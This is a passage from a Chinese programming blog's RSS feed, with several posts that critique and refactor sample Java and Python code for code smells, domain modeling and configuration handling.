&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;orgAssets&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                List&amp;lt;TApigwOrgAsset&amp;gt; orgAssets = (List&amp;lt;ApigwOrgAsset&amp;gt;) orgPackage.&lt;span style=&#34;color:#658b00&#34;&gt;getValue&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                List&amp;lt;TApigwAssetContent&amp;gt; orgAssetContents = (List&amp;lt;TApigwAssetContent&amp;gt;) oldOrgPackage.&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;&amp;#39;&lt;/span&gt;orgAssetContents&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (orgAssets != &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt; (TApigwOrgAsset orgAsset: orgAssets) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                            aTApigwAssetContentMapper.&lt;span style=&#34;color:#658b00&#34;&gt;deleteByPrimaryKey&lt;/span&gt;(orgAsset.&lt;span style=&#34;color:#658b00&#34;&gt;getAstid&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                            aTApigwOrgAssetMapp.&lt;span style=&#34;color:#658b00&#34;&gt;deleteByOrgName&lt;/span&gt;(orgName, orgAsset.&lt;span style=&#34;color:#658b00&#34;&gt;getZone&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (orgAssets == &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt; || orgAssetContents == &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt;(TApigwOrgAsset aTApigwOrgAsset: orgAssets){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        aTApigwOrgAssetMapper.&lt;span style=&#34;color:#658b00&#34;&gt;insert&lt;/span&gt;(aTApigwOrgAsset);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt;(TApigwAssetContent orgAssetConent: orgAssetContents){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        aTApigwAssetConentMapper.&lt;span style=&#34;color:#658b00&#34;&gt;insert&lt;/span&gt;(orgAssetConent);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;catch&lt;/span&gt; (Excetption e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    threw &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;ApigwExcepiton&lt;/span&gt;(...)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;orgService&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ... &lt;span style=&#34;color:#228b22&#34;&gt;// 省略
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;orgConfigGroups&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ... &lt;span style=&#34;color:#228b22&#34;&gt;// 省略
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;orgVariables&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ... &lt;span style=&#34;color:#228b22&#34;&gt;// 省略
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码存在典型的switch惊悚的坏味道。每个Switch块较大，嵌套比较深，在Swith中又存在for循环。还存其它的坏味道：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>程序员编码技术栈</title>
      <link>http://lanlingzi.cn/post/technical/2020/1114_tech_stack/</link>
      <pubDate>Sun, 15 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/1114_tech_stack/</guid>
      <description>&lt;h1 id=&#34;写在前面&#34;&gt;写在前面&lt;/h1&gt;
&lt;p&gt;偶尔会有同学来问我：&amp;ldquo;飞哥，我在学校是学java，来公司却安排搞c++，我不喜欢，怎么办？&amp;rdquo;&lt;/p&gt;
&lt;p&gt;让人信服地回答这个问题其实很难。我的理解是无论什么语言，本质是要服务业务，无论是java还是c++，他们都是实现业务软件的工具。在工作中，我们要尽可能多的去掌握一些固化不变的基础，越基础的知识点越具有通用性，掌握会让自己变得更有竞争力。各种编程语言在语法上可能有着相同又有不同的地方，有着他们各自最佳适合的场景。透过语法层面来看，似乎我们总是能找到一些共同的基础知识体系。当你了解并熟悉这些知识点之后，可能不会再纠结是选java还是其它了。&lt;/p&gt;
&lt;p&gt;当然并不是语言层面的知识不再需要深入掌握，而是当工作选择需要你掌握哪种语言时，就去学习了解哪种语言。有了一些公共基础，也会触类旁通，学习起来更轻松。&lt;/p&gt;
&lt;p&gt;本文试图抛开具体的语言，列出提纲梳理背后共同的技术栈，希望能给正在处于纠结选择语言的同学一些帮助。由于笔者能力、精力都有限，部分内容也是从网上收集整理，其中可能存在理解上偏差与错误。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码16：函数式让数据处理更简洁</title>
      <link>http://lanlingzi.cn/post/technical/2020/1108_code/</link>
      <pubDate>Sun, 08 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/1108_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;案例一，代码摘抄某外部培训材料，主要代码逻辑是打印每课成绩，并找出学生非&lt;code&gt;F&lt;/code&gt;级别课程统计平均分数：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;CourseGrade&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; String title;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;char&lt;/span&gt; grade;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;ReportCard&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; String studentName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; ArrayList&amp;lt;CourseGrade&amp;gt; cliens;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;printReport&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Report card for &amp;#34;&lt;/span&gt; + studentName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;------------------------&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Course Title       Grade&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Iterator&amp;lt;CourseGrade&amp;gt; grades = cliens.&lt;span style=&#34;color:#658b00&#34;&gt;iterator&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        CourseGrade grade;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;double&lt;/span&gt; avg = 0.&lt;span style=&#34;color:#658b00&#34;&gt;0d&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;while&lt;/span&gt; (grades.&lt;span style=&#34;color:#658b00&#34;&gt;hasNext&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            grade = grades.&lt;span style=&#34;color:#658b00&#34;&gt;next&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(grade.&lt;span style=&#34;color:#658b00&#34;&gt;title&lt;/span&gt; + &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;    &amp;#34;&lt;/span&gt; + grade.&lt;span style=&#34;color:#658b00&#34;&gt;grade&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (!(grade.&lt;span style=&#34;color:#658b00&#34;&gt;grade&lt;/span&gt; == &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;F&amp;#39;&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                avg = avg + grade.&lt;span style=&#34;color:#658b00&#34;&gt;grade&lt;/span&gt; - 64;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        avg = avg / cliens.&lt;span style=&#34;color:#658b00&#34;&gt;size&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;------------------------&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        System.&lt;span style=&#34;color:#658b00&#34;&gt;out&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;println&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Grade Point Average = &amp;#34;&lt;/span&gt; + avg);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码有哪些问题呢:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成员变量采用public，缺少数据封装性&lt;/li&gt;
&lt;li&gt;没有判断cliens是否为空，可能除以0值。注：假定它不会为空，另外逻辑可能有问题，为什么统计总分是非F课程，除数却是所有课程Size，先忽略这个问题&lt;/li&gt;
&lt;li&gt;avg这个变量多个用途，即是总分，又是平均分&lt;/li&gt;
&lt;li&gt;cliens变量名难以理解&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!(grade.grade == &#39;F&#39;)&lt;/code&gt; 有点反直觉&lt;/li&gt;
&lt;li&gt;while循环干了两件事，打印每课的成绩，也统计了分数&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码15：写代码从事物认识开始</title>
      <link>http://lanlingzi.cn/post/technical/2020/1101_code/</link>
      <pubDate>Sun, 01 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/1101_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;上周参加张逸老师解构领域驱动设计培训。课上老师提到传统的设计是贫血模型类+事务脚本（逻辑过程），并给出一个贫血类设计的案例代码。凭记忆记录如下，有三个类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Customer: 顾客&lt;/li&gt;
&lt;li&gt;Wallet: 顾客的钱包&lt;/li&gt;
&lt;li&gt;Paperboy: 收银员&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实现的主体逻辑是，收银员向顾客收钱。&lt;/p&gt;
&lt;p&gt;代码如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;Wallet&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;float&lt;/span&gt; value;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 省略构造方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;float&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;getTotalMoney&lt;/span&gt;() { &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; value; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;addMoney&lt;/span&gt;(&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;float&lt;/span&gt; deposit) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        value += deposit;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;subtractMoney&lt;/span&gt;(&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;float&lt;/span&gt; debit) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        value -= debit;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;Customer&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; String firstName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; String lastName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; Wallet myWallet;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 省略构造方法，与Getter
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;Paperboy&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;charge&lt;/span&gt;(Customer myCustomer, &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;float&lt;/span&gt; payment) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Wallet theWallet = myCustomer.&lt;span style=&#34;color:#658b00&#34;&gt;getWallet&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (theWallet.&lt;span style=&#34;color:#658b00&#34;&gt;getTotalMoney&lt;/span&gt;() &amp;gt; payment) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            theWallet.&lt;span style=&#34;color:#658b00&#34;&gt;subtractMoney&lt;/span&gt;(payment);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throw&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; NotEnoughMoneyException();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码14：好代码源自相互改进</title>
      <link>http://lanlingzi.cn/post/technical/2020/0920_code/</link>
      <pubDate>Sun, 20 Sep 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0920_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码是来自我们新构建的服务，采用Python语言开发。案例故事是这样：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;开始：&lt;/strong&gt; 某同学最先开发某功能，需要读取服务的配置文件，代码如下，是代码直接读取文件取配置项：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HOME_PATH = os.environ[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;HOME&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DASK_PROPERTIES_PATH = HOME_PATH + &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;/training/webapps/lodas/WEB-INF/classes/application-dask.properties&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DASK_PROPERTIES_DICT = Properties(DASK_PROPERTIES_PATH).get_properties()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CLUSTER_WORKER_THREAD_NUM = DASK_PROPERTIES_DICT[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;lodap.dask.cluster.worker.nthreads&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.... &lt;span style=&#34;color:#228b22&#34;&gt;# 省略其它配置项的获取代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;后续：&lt;/strong&gt; 功能不断增加，又分配给 &lt;em&gt;不同的同学来实现&lt;/em&gt; ，也需要读取同目录下其它的配置文件，于是又出现 &lt;em&gt;类似&lt;/em&gt; 上面的代码写法，但略有差别，就不再贴代码了。&lt;/p&gt;
